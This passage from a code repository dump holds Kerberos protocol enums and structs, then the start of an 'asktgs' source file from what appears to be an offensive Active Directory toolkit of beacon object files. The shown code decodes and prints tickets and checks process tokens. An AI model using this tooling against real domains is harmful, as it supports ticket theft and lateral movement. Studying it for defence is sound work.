14,\n\tADDRTYPE_HYLINK = 15,\n\tADDRTYPE_APPLETALK = 16,\n\tADDRTYPE_VOICEVIEW = 18,\n\tADDRTYPE_FIREFOX = 19,\n\tADDRTYPE_NETBIOS = 20,\n\tADDRTYPE_BAN = 21,\n\tADDRTYPE_ATM = 22,\n\tADDRTYPE_INET6 = 24\n};\n\nenum KERB_MESSAGE_TYPE {\n\tKERB_AS_REQ = 10,\n\tKERB_AS_REP = 11,\n\tKERB_TGS_REQ = 12,\n\tKERB_TGS_REP = 13,\n\tKERB_AP_REQ = 14,\n\tKERB_AP_REP = 15,\n\tKERB_TGT_REQ = 16, // KRB-TGT-REQUEST for U2U\n\tKERB_TGT_REP = 17, // KRB-TGT-REPLY for U2U\n\tKERB_SAFE = 20,\n\tKERB_PRIV = 21,\n\tKERB_CRED = 22,\n\tKERB_ERROR = 30,\n};\n\nenum PADATA_TYPE {\n\tPADATA_NONE = 0,\n\tPADATA_TGS_REQ = 1,\n\tPADATA_AP_REQ = 1,\n\tPADATA_ENC_TIMESTAMP = 2,\n\tPADATA_PW_SALT = 3,\n\tPADATA_ENC_UNIX_TIME = 5,\n\tPADATA_SANDIA_SECUREID = 6,\n\tPADATA_SESAME = 7,\n\tPADATA_OSF_DCE = 8,\n\tPADATA_CYBERSAFE_SECUREID = 9,\n\tPADATA_AFS3_SALT = 10,\n\tPADATA_ETYPE_INFO = 11,\n\tPADATA_SAM_CHALLENGE = 12,\n\tPADATA_SAM_RESPONSE = 13,\n\tPADATA_PK_AS_REQ_19 = 14,\n\tPADATA_PK_AS_REP_19 = 15,\n\tPADATA_PK_AS_REQ_WIN = 15,\n\tPADATA_PK_AS_REQ = 16,\n\tPADATA_PK_AS_REP = 17,\n\tPADATA_PA_PK_OCSP_RESPONSE = 18,\n\tPADATA_ETYPE_INFO2 = 19,\n\tPADATA_USE_SPECIFIED_KVNO = 20,\n\tPADATA_SVR_REFERRAL_INFO = 20,\n\tPADATA_SAM_REDIRECT = 21,\n\tPADATA_GET_FROM_TYPED_DATA = 22,\n\tPADATA_SAM_ETYPE_INFO = 23,\n\tPADATA_SERVER_REFERRAL = 25,\n\tPADATA_TD_KRB_PRINCIPAL = 102,\n\tPADATA_PK_TD_TRUSTED_CERTIFIERS = 104,\n\tPADATA_PK_TD_CERTIFICATE_INDEX = 105,\n\tPADATA_TD_APP_DEFINED_ERROR = 106,\n\tPADATA_TD_REQ_NONCE = 107,\n\tPADATA_TD_REQ_SEQ = 108,\n\tPADATA_PA_PAC_REQUEST = 128,\n\tPADATA_S4U2SELF = 129,\n\tPADATA_PA_S4U_X509_USER = 130,\n\tPADATA_PA_PAC_OPTIONS = 167,\n\tPADATA_PK_AS_09_BINDING = 132,\n\tPADATA_CLIENT_CANONICALIZED = 133,\n\tPADATA_KEY_LIST_REQ = 161,\n\tPADATA_KEY_LIST_REP = 162,\n};\n\nenum KdcOptions {\n\tVALIDATE = 0x00000001,\n\tRENEW = 0x00000002,\n\tUNUSED29 = 0x00000004,\n\tENCTKTINSKEY = 0x00000008,\n\tRENEWABLEOK = 0x00000010,\n\tDISABLETRANSITEDCHECK = 0x00000020,\n\tUNUSED16 = 0x0000FFC0,\n\tCONSTRAINED_DELEGATION = 0x00020000,\n\tCANONICALIZE = 0x00010000,\n\tCNAMEINADDLTKT = 0x00004000,\n\tOK_AS_DELEGATE = 0x00040000,\n\tREQUEST_ANONYMOUS = 0x00008000,\n\tUNUSED12 = 0x00080000,\n\tOPTHARDWAREAUTH = 0x00100000,\n\tPREAUTHENT = 0x00200000,\n\tINITIAL = 0x00400000,\n\tRENEWABLE = 0x00800000,\n\tUNUSED7 = 0x01000000,\n\tPOSTDATED = 0x02000000,\n\tALLOWPOSTDATE = 0x04000000,\n\tPROXY = 0x08000000,\n\tPROXIABLE = 0x10000000,\n\tFORWARDED = 0x20000000,\n\tFORWARDABLE = 0x40000000,\n\tRESERVED = 0x80000000,\n};\n\nenum PRINCIPAL_TYPE {\n\tPRINCIPAL_NT_UNKNOWN = 0,\n\tPRINCIPAL_NT_PRINCIPAL = 1,\n\tPRINCIPAL_NT_SRV_INST = 2,\n\tPRINCIPAL_NT_SRV_HST = 3,\n\tPRINCIPAL_NT_SRV_XHST = 4,\n\tPRINCIPAL_NT_UID = 5,\n\tPRINCIPAL_NT_X500_PRINCIPAL = 6,\n\tPRINCIPAL_NT_SMTP_NAME = 7,\n\tPRINCIPAL_NT_ENTERPRISE = 10,\n};\n\nenum ASN_TYPES {\n\t//public const int NULL = 5;\n\t//public const int OBJECT_IDENTIFIER = 6;\n\t//public const int Object_Descriptor = 7;\n\t//public const int EXTERNAL = 8;\n\t//public const int REAL = 9;\n\t//public const int ENUMERATED = 10;\n\t//public const int EMBEDDED_PDV = 11;\n\t//public const int RELATIVE_OID = 13;\n\t//public const int SET = 17;\n\t//public const int VideotexString = 21;\n\t//public const int GraphicString = 25;\n\t//public const int VisibleString = 26;\n\t//public const int CHARACTER_STRING = 29;\n\n\t//public const int APPLICATION = 1;\n\t//public const int  = 2;\n\t//public const int PRIVATE = 3;\n\n\tASN_UNIVERSAL = 0,\n\tASN_BOOLEAN = 1,\n\tASN_APPLICATION = 1,\n\tASN_CONTEXT = 2,\n\tASN_INTEGER = 2,\n\tASN_BIT_STRING = 3,\n\tASN_OCTET_STRING = 4,\n\tASN_UTF8String = 12,\n\tASN_SEQUENCE = 16,\n\tASN_NumericString = 18,\n\tASN_PrintableString = 19,\n\tASN_TeletexString = 20,\n\tASN_IA5String = 22,\n\tASN_UTCTime = 23,\n\tASN_GeneralizedTime = 24,\n\tASN_GeneralString = 27,\n\tASN_UniversalString = 28,\n\tASN_BMPString = 30,\n\tASN_LIST = 0xa0,\n};\n\nenum TICKET_FLAGS {\n\treserved = 2147483648,\n\tforwardable = 0x40000000,\n\tforwarded = 0x20000000,\n\tproxiable = 0x10000000,\n\tproxy = 0x08000000,\n\tmay_postdate = 0x04000000,\n\tpostdated = 0x02000000,\n\tinvalid = 0x01000000,\n\trenewable = 0x00800000,\n\tinitial = 0x00400000,\n\tpre_authent = 0x00200000,\n\thw_authent = 0x00100000,\n\tok_as_delegate = 0x00040000,\n\tanonymous = 0x00020000,\n\t//name_canonicalize\t= 0x00010000,\n\t//cname_in_pa_data = 0x00040000,\n\tenc_pa_rep = 0x00010000,\n\treserved1 = 0x00000001,\n\tempty = 0x00000000,\n};\n\nenum PacInfoBufferType {\n\tPac_LogonInfo = 1,\n\tPac_CredInfo = 2,\n\tPac_ServerChecksum = 6,\n\tPac_KDCChecksum = 7,\n\tPac_ClientName = 0xA,\n\tPac_S4U2Proxy = 0xb,\n\tPac_UpnDns = 0xc,\n\tPac_ClientClaims = 0xd,\n\tPac_DeviceInfo = 0xe,\n\tPac_DeviceClaims = 0xf,\n\tPac_TicketChecksum = 0x10,\n\tPac_Attributes = 0x11,\n\tPac_Requestor = 0x12,\n\tPac_FullPacChecksum = 0x13\n};\n\n\nbyte* lookupKadminErrorCode(uint errorCode) {\n\tif ( errorCode > 7)\n\t\treturn \"unknown\";\n\n\tbyte* KERBEROS_ERROR[8] = {\n\t\t\"KRB5_KPASSWD_SUCCESS\",\n\t\t\"KRB5_KPASSWD_MALFORMED\",\n\t\t\"KRB5_KPASSWD_HARDERROR\",\n\t\t\"KRB5_KPASSWD_AUTHERROR\",\n\t\t\"KRB5_KPASSWD_SOFTERROR\",\n\t\t\"KRB5_KPASSWD_ACCESSDENIED\",\n\t\t\"KRB5_KPASSWD_BAD_VERSION\",\n\t\t\"KRB5_KPASSWD_INITIAL_FLAG_NEEDED\"\n\t};\n\treturn KERBEROS_ERROR[errorCode];\n}\n/*\nbyte* lookupKrbErrorCode(uint errorCode) {\n\tif ( errorCode > 0x5d)\n\t\treturn \"\";\n\n\tbyte* KERBEROS_ERROR[0x5E] = {\n\t\t\"KDC_ERR_NONE (0x0) - No error\",\n\t\t\"KDC_ERR_NAME_EXP (0x1) - Client's entry in KDC database has expired\",\n\t\t\"KDC_ERR_SERVICE_EXP (0x2) - Server's entry in KDC database has expired\",\n\t\t\"KDC_ERR_BAD_PVNO (0x3) - Requested Kerberos version number not supported\",\n\t\t\"KDC_ERR_C_OLD_MAST_KVNO (0x4) - Client's key encrypted in old master key\",\n\t\t\"KDC_ERR_S_OLD_MAST_KVNO (0x5) - Server's key encrypted in old master key\",\n\t\t\"KDC_ERR_C_PRINCIPAL_UNKNOWN (0x6) - Client not found in Kerberos database\",\n\t\t\"KDC_ERR_S_PRINCIPAL_UNKNOWN (0x7) - Server not found in Kerberos database\",\n\t\t\"KDC_ERR_PRINCIPAL_NOT_UNIQUE (0x8) - Multiple principal entries in KDC database\",\n\t\t\"KDC_ERR_NULL_KEY (0x9) - The client or server has a null key (master key)\",\n\t\t\"KDC_ERR_CANNOT_POSTDATE (0xA) - Ticket (TGT) not eligible for postdating\",\n\t\t\"KDC_ERR_NEVER_VALID (0xB) - Requested start time is later than end time\",\n\t\t\"KDC_ERR_POLICY (0xC) - Requested start time is later than end time\",\n\t\t\"KDC_ERR_BADOPTION (0xD) - KDC cannot accommodate requested option\",\n\t\t\"KDC_ERR_ETYPE_NOTSUPP (0xE) - KDC has no support for encryption type\",\n\t\t\"KDC_ERR_SUMTYPE_NOSUPP (0xF) - KDC has no support for checksum type\",\n\t\t\"KDC_ERR_PADATA_TYPE_NOSUPP (0x10) - KDC has no support for PADATA type (pre-authentication data)\",\n\t\t\"KDC_ERR_TRTYPE_NO_SUPP (0x11) - KDC has no support for transited type\",\n\t\t\"KDC_ERR_CLIENT_REVOKED (0x12) - Client's credentials have been revoked\",\n\t\t\"KDC_ERR_SERVICE_REVOKED (0x13) -Credentials for server have been revoked\",\n\t\t\"KDC_ERR_TGT_REVOKED (0x14) - TGT has been revoked\",\n\t\t\"KDC_ERR_CLIENT_NOTYET (0x15) - Client not yet valid�try again later\",\n\t\t\"KDC_ERR_SERVICE_NOTYET (0x16) -Server not yet valid�try again later\",\n\t\t\"KDC_ERR_KEY_EXPIRED (0x17) - Password has expired�change password to reset\",\n\t\t\"KDC_ERR_PREAUTH_FAILED (0x18) - Pre-authentication information was invalid\",\n\t\t\"KDC_ERR_PREAUTH_REQUIRED (0x19) - Additional preauthentication required\",\n\t\t\"KDC_ERR_SERVER_NOMATCH (0x1A) - KDC does not know about the requested server\",\n\t\t\"KDC_ERR_MUST_USE_USER2USER (0x1B) - Server principal valid for user2user only\",\n\t\t\"KDC_ERR_PATH_NOT_ACCEPTED (0x1C) - KDC Policy rejects transited path\",\n\t\t\"KDC_ERR_SVC_UNAVAILABLE (0x1D) - KDC is unavailable\",\n\t\t\"KRB_UNKNOWN (0x1E) - Code unknown\",\n\t\t\"KRB_AP_ERR_BAD_INTEGRITY (0x1F) - Integrity check on decrypted field failed\",\n\t\t\"KRB_AP_ERR_TKT_EXPIRED (0x20) - The ticket has expired\",\n\t\t\"KRB_AP_ERR_TKT_NYV (0x21) - The ticket is not yet valid\",\n\t\t\"KRB_AP_ERR_REPEAT (0x22) - The request is a replay\",\n\t\t\"KRB_AP_ERR_NOT_US (0x23) - The ticket is not for us\",\n\t\t\"KRB_AP_ERR_BADMATCH (0x24) -The ticket and authenticator do not match\",\n\t\t\"KRB_AP_ERR_SKEW (0x25) - The clock skew is too great\",\n\t\t\"KRB_AP_ERR_BADADDR (0x26) - Network address in network layer header doesn't match address inside ticket\",\n\t\t\"KRB_AP_ERR_BADVERSION (0x27) - Protocol version numbers don't match (PVNO)\",\n\t\t\"KRB_AP_ERR_MSG_TYPE (0x28) - Message type is unsupported\",\n\t\t\"KRB_AP_ERR_MODIFIED (0x29) - Message stream modified and checksum didn't match\",\n\t\t\"KRB_AP_ERR_BADORDER (0x2A) - Message out of order (possible tampering)\",\n\t\t\"KRB_UNKNOWN (0x2B) - Code unknown\",\n\t\t\"KRB_AP_ERR_BADKEYVER (0x2C) - Specified version of key is not available\",\n\t\t\"KRB_AP_ERR_NOKEY (0x2D) - Service key not available\",\n\t\t\"KRB_AP_ERR_MUT_FAIL (0x2E) - Mutual authentication failed\",\n\t\t\"KRB_AP_ERR_BADDIRECTION (0x2F) - Incorrect message direction\",\n\t\t\"KRB_AP_ERR_METHOD (0x30) - Alternative authentication method required\",\n\t\t\"KRB_AP_ERR_BADSEQ (0x31) - Incorrect sequence number in message\",\n\t\t\"KRB_AP_ERR_INAPP_CKSUM (0x32) - Inappropriate type of checksum in message (checksum may be unsupported)\",\n\t\t\"KRB_AP_PATH_NOT_ACCEPTED (0x33) - Desired path is unreachable\",\n\t\t\"KRB_ERR_RESPONSE_TOO_BIG (0x34) - Too much data\",\n\t\t\"KRB_UNKNOWN (0x15) - Code unknown\",\n\t\t\"KRB_UNKNOWN (0x16) - Code unknown\",\n\t\t\"KRB_UNKNOWN (0x17) - Code unknown\",\n\t\t\"KRB_UNKNOWN (0x18) - Code unknown\",\n\t\t\"KRB_UNKNOWN (0x19) - Code unknown\",\n\t\t\"KRB_UNKNOWN (0x1A) - Code unknown\",\n\t\t\"KRB_UNKNOWN (0x1B) - Code unknown\",\n\t\t\"KRB_ERR_GENERIC (0x3C) - Generic error; the description is in the e-data field\",\n\t\t\"KRB_ERR_FIELD_TOOLONG (0x3D) - Field is too long for this implementation\",\n\t\t\"KDC_ERR_CLIENT_NOT_TRUSTED (0x3E) - The client trust failed or is not implemented\",\n\t\t\"KDC_ERR_KDC_NOT_TRUSTED (0x3F) - The KDC server trust failed or could not be verified\",\n\t\t\"KDC_ERR_INVALID_SIG (0x40) - The signature is invalid\",\n\t\t\"KDC_ERR_DH_KEY_PARAMETERS_NOT_ACCEPTED (0x41) - KDC policy has determined the provided Diffie-Hellman key parameters are not acceptable\",\n\t\t\"KDC_ERR_CERTIFICATE_MISMATCH (0x42) - certificate doesn't match client user\",\n\t\t\"KRB_AP_ERR_NO_TGT (0x43) - No TGT was presented or available\",\n\t\t\"KDC_ERR_WRONG_REALM (0x44) -Incorrect domain or principal\",\n\t\t\"KRB_AP_ERR_USER_TO_USER_REQUIRED (0x45) - Ticket must be for USER-TO-USER\",\n\t\t\"KDC_ERR_CANT_VERIFY_CERTIFICATE (0x46)\",\n\t\t\"KDC_ERR_INVALID_CERTIFICATE (0x47)\",\n\t\t\"KDC_ERR_REVOKED_CERTIFICATE (0x48)\",\n\t\t\"KDC_ERR_REVOCATION_STATUS_UNKNOWN (0x49)\",\n\t\t\"KRB_UNKNOWN (0x4A) - Code unknown\",\n\t\t\"KDC_ERR_CLIENT_NAME_MISMATCH (0x4B)\",\n\t\t\"KDC_ERR_KDC_NAME_MISMATCH (0x4C)\",\n\t\t\"KDC_ERR_INCONSISTENT_KEY_PURPOSE (0x4D) - The client certificate does not contain the KeyPurposeId EKU and is required\",\n\t\t\"KDC_ERR_DIGEST_IN_CERT_NOT_ACCEPTED (0x4E) - The signature algorithm used to sign the CA certificate is not accepted\",\n\t\t\"KDC_ERR_PA_CHECKSUM_MUST_BE_INCLUDED (0x4F) - The client did not include the required paChecksum parameter\",\n\t\t\"KDC_ERR_DIGEST_IN_SIGNED_DATA_NOT_ACCEPTED (0x50) - The signature algorithm used to sign the request is not accepted\",\n\t\t\"KDC_ERR_PUBLIC_KEY_ENCRYPTION_NOT_SUPPORTED (0x51) - The KDC does not support public key encryption for PKINIT\",\n\t\t\"KRB_AP_ERR_PRINCIPAL_UNKNOWN (0x52) - A well-known Kerberos principal name is used but not supported\",\n\t\t\"KRB_AP_ERR_REALM_UNKNOWN (0x53) - A well-known Kerberos realm name is used but not supported\",\n\t\t\"KRB_AP_ERR_PRINCIPAL_RESERVED (0x54) - A reserved Kerberos principal name is used but not supported\",\n\t\t\"KRB_UNKNOWN (0x55) - Code unknown\",\n\t\t\"KRB_UNKNOWN (0x56) - Code unknown\",\n\t\t\"KRB_UNKNOWN (0x57) - Code unknown\",\n\t\t\"KRB_UNKNOWN (0x58) - Code unknown\",\n\t\t\"KRB_UNKNOWN (0x59) - Code unknown\",\n\t\t\"KDC_ERR_PREAUTH_EXPIRED (0x5A) - The provided pre-auth data has expired\",\n\t\t\"KDC_ERR_MORE_PREAUTH_DATA_REQUIRED (0x5B) - The KDC found the presented pre-auth data incomplete and requires additional information\",\n\t\t\"KDC_ERR_PREAUTH_BAD_AUTHENTICATION_SET (0x5C) - The client sent an authentication set that the KDC was not expecting\",\n\t\t\"KDC_ERR_UNKNOWN_CRITICAL_FAST_OPTIONS (0x5D) - The provided FAST options that were marked as critical are unknown to the KDC and cannot be processed\"\n\t};\n\treturn KERBEROS_ERROR[errorCode];\n}\n*/\n\n//////////////////////////////\n\ntypedef struct AsnElt {\n\tbyte* objBuf;\n\tint objBufSize;\n\tint objOff;\n\tint objLen;\n\tint valOff;\n\tint valLen;\n\tint hasEncodedHeader;\n\n\tint tagClass;\n\tint tagValue;\n\tstruct AsnElt* sub;\n\tint subCount;\n} AsnElt;\n\ntypedef struct {\n\tbool isSet;\n\tint year;\n\tint month;\n\tint day;\n\tint hour;\n\tint minute;\n\tint second;\n\tint millisecond;\n} DateTime;\n\ntypedef struct _ADKerbLocal {\n\tlong  ad_type;\n\tint   ad_data_length;\n\tbyte* ad_data;\n\tint   LocalData_length;\n\tbyte* LocalData;\n} ADKerbLocal;\n\ntypedef struct _ADRestrictionEntry {\n\tlong  ad_type;\n\tint   ad_data_length;\n\tbyte* ad_data;\n\tlong  restriction_type;\n\tint   restriction_length;\n\tbyte* restriction;\n} ADRestrictionEntry;\n\ntypedef struct _ADIfRelevant {\n\tlong  ad_type;\n\tint   ad_data_length;\n\tbyte* ad_data;\n\tint   ADData_count;\n\tvoid** ADData;\n} ADIfRelevant;\n\ntypedef struct _Checksum {\n\tint   cksumtype;\n\tint   checksum_length;\n\tbyte* checksum;\n}Checksum;\n\ntypedef struct _ETYPE_INFO2_ENTRY {\n\tint etype;\n\tchar* salt;\n} ETYPE_INFO2_ENTRY;\n\ntypedef struct _HostAddress {\n\tlong  addr_type;\n\tchar* addr_string;\n} HostAddress;\n\ntypedef struct _EncryptedData {\n\tint   etype;\n\tuint  kvno;\n\tuint  cipher_size;\n\tbyte* cipher;\n} EncryptedData;\n\ntypedef struct _PrincipalName {\n\tlong   name_type;\n\tuint   name_count;\n\tchar** name_string;\n} PrincipalName;\n\ntypedef struct _Ticket {\n\tint           tkt_vno;\n\tchar*         realm;\n\tPrincipalName sname;\n\tEncryptedData enc_part;\n} Ticket;\n\ntypedef struct _KDCReqBody {\n\tuint\t\t  kdc_options;\n\tPrincipalName cname;\n\tPrincipalName sname;\n\tchar*         realm;\n\tuint          till;\t\t// DateTime\n\tuint          rtime;\t// DateTime\n\tuint          nonce;\n\tuint\t\t  addresses_count;\n\tHostAddress*  addresses;\n\tuint          additional_tickets_count;\n\tTicket*       additional_tickets;\n\tuint          etypes_count;\n\tint*          etypes;\n\tEncryptedData enc_authorization_data;\n} KDCReqBody;\n\ntypedef struct _S4UUserID {\n\tuint          nonce;\n\tPrincipalName cname;\n\tchar*         crealm;\n\tint           options;\n}S4UUserID;\n\ntypedef struct _KERB_PA_PAC_REQUEST {\n\tbool include_pac;\n} KERB_PA_PAC_REQUEST;\n\ntypedef struct _PA_S4U_X509_USER {\n\tS4UUserID user_id;\n\tChecksum  cksum;\n}PA_S4U_X509_USER;\n\ntypedef struct _PA_KEY_LIST_REQ {\n\tint Enctype;\n} PA_KEY_LIST_REQ;\n\ntypedef struct _PA_FOR_USER {\n\tPrincipalName userName;\n\tchar*\t\t  userRealm;\n\tChecksum\t  cksum;\n\tchar*\t\t  auth_package;\n} PA_FOR_USER;\n\ntypedef struct _PA_PAC_OPTIONS {\n\tbyte kerberosFlags[4];\n} PA_PAC_OPTIONS;\n\ntypedef struct _PA_DATA {\n\tuint  type;\n\tvoid* value;\n} PA_DATA;\n\ntypedef struct _LastReq {\n\tint      lr_type;\n\tDateTime lr_value;\n} LastReq;\n\ntypedef struct _EncryptionKey {\n\tint   key_type;\n\tuint  key_size;\n\tbyte* key_value;\n} EncryptionKey;\n\ntypedef struct _DmsaKeyPackage {\n\tint           currentKeysCount;\n\tEncryptionKey* currentKeys;\n\tint           previousKeysCount;\n\tEncryptionKey* previousKeys;\n\tDateTime      expirationInterval;\n\tDateTime      fetchInterval;\n} DmsaKeyPackage;\n\ntypedef struct _EncryptedPAData {\n\tint\t\t\t  keytype;\n\tint           keysize;\n\tbyte*         keyvalue;\n\tEncryptionKey encryptionKey;\n\tDmsaKeyPackage dmsaKeyPackage;\n} EncryptedPAData;\n\ntypedef struct _EncKDCRepPart {\n\tEncryptionKey   key;\n\tLastReq\t        lastReq;\n\tuint\t\t    nonce;\n\tDateTime\t    key_expiration;\n\tuint\t\t    flags;\n\tDateTime\t    authtime;\n\tDateTime\t    starttime;\n\tDateTime\t    endtime;\n\tDateTime\t    renew_till;\n\tchar*\t        realm;\n\tPrincipalName   sname;\n\tEncryptedPAData encryptedPaData;\n} EncKDCRepPart;\n\ntypedef struct _KrbCredInfo {\n\tEncryptionKey key;\n\tchar*\t\t   prealm;\n\tPrincipalName pname;\n\tuint\t\t   flags;\n\tDateTime\t   authtime;\n\tDateTime\t   starttime;\n\tDateTime\t   endtime;\n\tDateTime\t   renew_till;\n\tchar*\t\t   srealm;\n\tPrincipalName sname;\n} KrbCredInfo;\n\ntypedef struct _EncKrbCredPart {\n\tuint ticket_count;\n\tKrbCredInfo* ticket_info;\n} EncKrbCredPart;\n\ntypedef struct _KRB_CRED {\n\tlong\t\t\tpvno;\n\tlong\t\t\tmsg_type;\n\tuint\t\t\tticket_count;\n\tTicket*\t\t\ttickets;\n\tEncKrbCredPart enc_part;\n} KRB_CRED;\n\ntypedef struct _Authenticator {\n\tlong          authenticator_vno;\n\tchar*         crealm;\n\tChecksum      cksum;\n\tPrincipalName cname;\n\tlong          cusec;\n\tDateTime      ctime;\n\tEncryptionKey subkey;\n\tuint          seq_number;\n} Authenticator;\n\ntypedef struct _AuthorizationData {\n\tint   ad_type;\n\tint   ad_data_length;\n\tbyte* ad_data;\n} AuthorizationData;\n\ntypedef struct _TransitedEncoding {\n\tint tr_type;\n\tint   contents_length;\n\tbyte* contents;\n} TransitedEncoding;\n\ntypedef struct _EncTicketPart {\n\tint\t\t\t\t   flags;\n\tEncryptionKey\t   key;\n\tchar*\t\t\t   crealm;\n\tPrincipalName\t   cname;\n\tTransitedEncoding  transited;\n\tDateTime\t\t   authtime;\n\tDateTime\t\t   starttime;\n\tDateTime\t\t   endtime;\n\tDateTime\t\t   renew_till;\n\tHostAddress*\t   caddr;\n\tAuthorizationData* authorization_data;\n} EncTicketPart;\n\ntypedef struct _EncKrbPrivPart {\n\tuint  seq_number;\n\tchar* new_password;\n\tchar* host_name;\n\tchar* username;\n\tchar* realm;\n} EncKrbPrivPart;\n\ntypedef struct _KRB_PRIV {\n\tlong\t       pvno;\n\tlong\t       msg_type;\n\tEncryptionKey  ekey;\n\tEncKrbPrivPart enc_part;\n} KRB_PRIV;\n\n/////////////////////////\n\ntypedef struct _AS_REQ {\n\tlong\t   pvno;\n\tlong\t   msg_type;\n\tuint\t   pa_data_count;\n\tPA_DATA*   pa_data;\n\tKDCReqBody req_body;\n} AS_REQ;\n\ntypedef struct _AS_REP {\n\tlong          pvno;\n\tlong          msg_type;\n\tint           pa_data_count;\n\tPA_DATA*      pa_data;\n\tchar*         crealm;\n\tPrincipalName cname;\n\tTicket\t\t  ticket;\n\tEncryptedData enc_part;\n} AS_REP;\n\ntypedef struct _AP_REQ {\n\tlong          pvno;\n\tlong          msg_type;\n\tuint          ap_options;\n\tTicket\t\t  ticket;\n\tAuthenticator authenticator;\n\tEncryptionKey key;\n\tint           keyUsage;\n} AP_REQ;\n\ntypedef struct _TGS_REP {\n\tlong\t      pvno;\n\tlong\t      msg_type;\n\tPA_DATA       padata;\n\tchar*         crealm;\n\tPrincipalName cname;\n\tTicket\t\t  ticket;\n\tEncryptedData enc_part;\n} TGS_REP;\n\n//////////////////////////\n"
  },
  {
    "path": "AD-BOF/Kerbeus-BOF/asktgs/asktgs.c",
    "content": "#include \"_include/asn_decode.c\"\n#include \"_include/asn_encode.c\"\n#include \"_include/crypt_b64.c\"\n#include \"_include/crypt_checksum.c\"\n#include \"_include/crypt_dec.c\"\n#include \"_include/connection.c\"\n\nvoid DisplayTicket( KRB_CRED cred, int indentLevel ) {\n    DateTime starttime = cred.enc_part.ticket_info[0].starttime;\n    DateTime endtime = cred.enc_part.ticket_info[0].endtime;\n    DateTime renew_till = cred.enc_part.ticket_info[0].renew_till;\n    uint flags = cred.enc_part.ticket_info[0].flags;\n\n    if (cred.enc_part.ticket_info[0].sname.name_count == 1)\n        PRINT_OUT(\"  ServiceName              :  %s\\n\", cred.enc_part.ticket_info[0].sname.name_string[0]);\n    else if (cred.enc_part.ticket_info[0].sname.name_count > 1)\n        PRINT_OUT(\"  ServiceName              :  %s/%s\\n\", cred.enc_part.ticket_info[0].sname.name_string[0], cred.enc_part.ticket_info[0].sname.name_string[1]);\n\n    PRINT_OUT(\"  ServiceRealm             :  %s\\n\", cred.enc_part.ticket_info[0].srealm);\n\n    if (cred.enc_part.ticket_info[0].pname.name_count == 1)\n        PRINT_OUT(\"  UserName                 :  %s\\n\", cred.enc_part.ticket_info[0].pname.name_string[0]);\n    else if (cred.enc_part.ticket_info[0].pname.name_count > 1)\n        PRINT_OUT(\"  UserName                 :  %s@%s\\n\", cred.enc_part.ticket_info[0].pname.name_string[0], cred.enc_part.ticket_info[0].pname.name_string[1]);\n\n    PRINT_OUT(\"  UserRealm                :  %s\\n\", cred.enc_part.ticket_info[0].prealm);\n    PRINT_OUT(\"  StartTime (UTC)          :  %02d.%02d.%04d %d:%d:%d\\n\", starttime.day, starttime.month, starttime.year, starttime.hour, starttime.minute, starttime.second);\n    PRINT_OUT(\"  EndTime (UTC)            :  %02d.%02d.%04d %d:%d:%d\\n\", endtime.day, endtime.month, endtime.year, endtime.hour, endtime.minute, endtime.second);\n    PRINT_OUT(\"  RenewTill (UTC)          :  %02d.%02d.%04d %d:%d:%d\\n\", renew_till.day, renew_till.month, renew_till.year, renew_till.hour, renew_till.minute, renew_till.second);\n\n    PRINT_OUT(\"  Flags                    :  \");\n    if (flags & reserved)\t\tPRINT_OUT(\"reserved \");\n    if (flags & forwardable)\tPRINT_OUT(\"forwardable \");\n    if (flags & forwarded)\t\tPRINT_OUT(\"forwarded \");\n    if (flags & proxiable)\t\tPRINT_OUT(\"proxiable \");\n    if (flags & proxy)\t\t\tPRINT_OUT(\"proxy \");\n    if (flags & may_postdate)\tPRINT_OUT(\"may_postdate \");\n    if (flags & postdated)\t\tPRINT_OUT(\"postdated \");\n    if (flags & invalid)\t\tPRINT_OUT(\"invalid \");\n    if (flags & renewable)\t\tPRINT_OUT(\"renewable \");\n    if (flags & initial)\t\tPRINT_OUT(\"initial \");\n    if (flags & pre_authent)\tPRINT_OUT(\"pre_authent \");\n    if (flags & hw_authent)\t\tPRINT_OUT(\"hw_authent \");\n    if (flags & ok_as_delegate) PRINT_OUT(\"ok_as_delegate \");\n    if (flags & anonymous)\t\tPRINT_OUT(\"anonymous \");\n    if (flags & enc_pa_rep)\t\tPRINT_OUT(\"enc_pa_rep \");\n    if (flags & reserved1)\t\tPRINT_OUT(\"reserved1 \");\n    PRINT_OUT(\"\\n\");\n\n    if (cred.enc_part.ticket_info[0].key.key_type == rc4_hmac)\n        PRINT_OUT(\"  KeyType                  :  rc4_hmac\\n\");\n    else if (cred.enc_part.ticket_info[0].key.key_type == aes128_cts_hmac_sha1)\n        PRINT_OUT(\"  KeyType                  :  aes128_cts_hmac_sha1\\n\");\n    else if (cred.enc_part.ticket_info[0].key.key_type == aes256_cts_hmac_sha1)\n        PRINT_OUT(\"  KeyType                  :  aes256_cts_hmac_sha1\\n\");\n}\n\nvoid DescribeTicket(byte* ticket_b64) {\n    int bytesSize = 0;\n    byte* bytes = base64_decode(ticket_b64, &bytesSize);\n\n    KRB_CRED kirbi = { 0 };\n    AsnElt   asn_KRB_CRED = { 0 };\n    if (BytesToAsnDecode3(bytes, bytesSize, false, &asn_KRB_CRED)) return;\n    if (AsnGetKrbCred(&(asn_KRB_CRED.sub[0]), &kirbi)) return;\n    DisplayTicket(kirbi, 2);\n}\n\n\n\nHANDLE GetCurrentToken(DWORD DesiredAccess) {\n    HANDLE hCurrentToken = NULL;\n    if (!ADVAPI32$OpenThreadToken(KERNEL32$GetCurrentThread(), DesiredAccess, FALSE, &hCurrentToken))\n        if (hCurrentToken == NULL && KERNEL32$GetLastError() == ERROR_NO_TOKEN)\n            if (!ADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(), DesiredAccess, &hCurrentToken))\n                return NULL;\n    return hCurrentToken;\n}\n\nLUID GetCurrentLUID(HANDLE TokenHandle) {\n    TOKEN_STATISTICS tokenStats;\n    DWORD tokenSize;\n    if (!ADVAPI32$GetTokenInformation(TokenHandle, TokenStatistics, &tokenStats, sizeof(tokenStats), &tokenSize))\n        return (LUID) { 0 };\n    return tokenStats.AuthenticationId;\n}\n\nBOOL IsSystem(HANDLE TokenHandle) {\n    UCHAR bTokenUser[sizeof(TOKEN_USER) + 8 + 4 * SID_MAX_SUB_AUTHORITIES];\n    PTOKEN_USER pTokenUser = (PTOKEN_USER)bTokenUser;\n    ULONG cbTokenUser;\n    SID_IDENTIFIER_AUTHORITY siaNT = SECURITY_NT_AUTHORITY;\n    PSID pSystemSid = NULL;\n    BOOL bSystem = FALSE;\n\n    // Try to open the token of the current thread first\n    if (!ADVAPI32$OpenThreadToken(KERNEL32$GetCurrentThread(), TOKEN_QUERY, TRUE, &TokenHandle)) {\n        // If there is no thread token, fall back to the process token\n        if (KERNEL32$GetLastError() == ERROR_NO_TOKEN) {\n            if 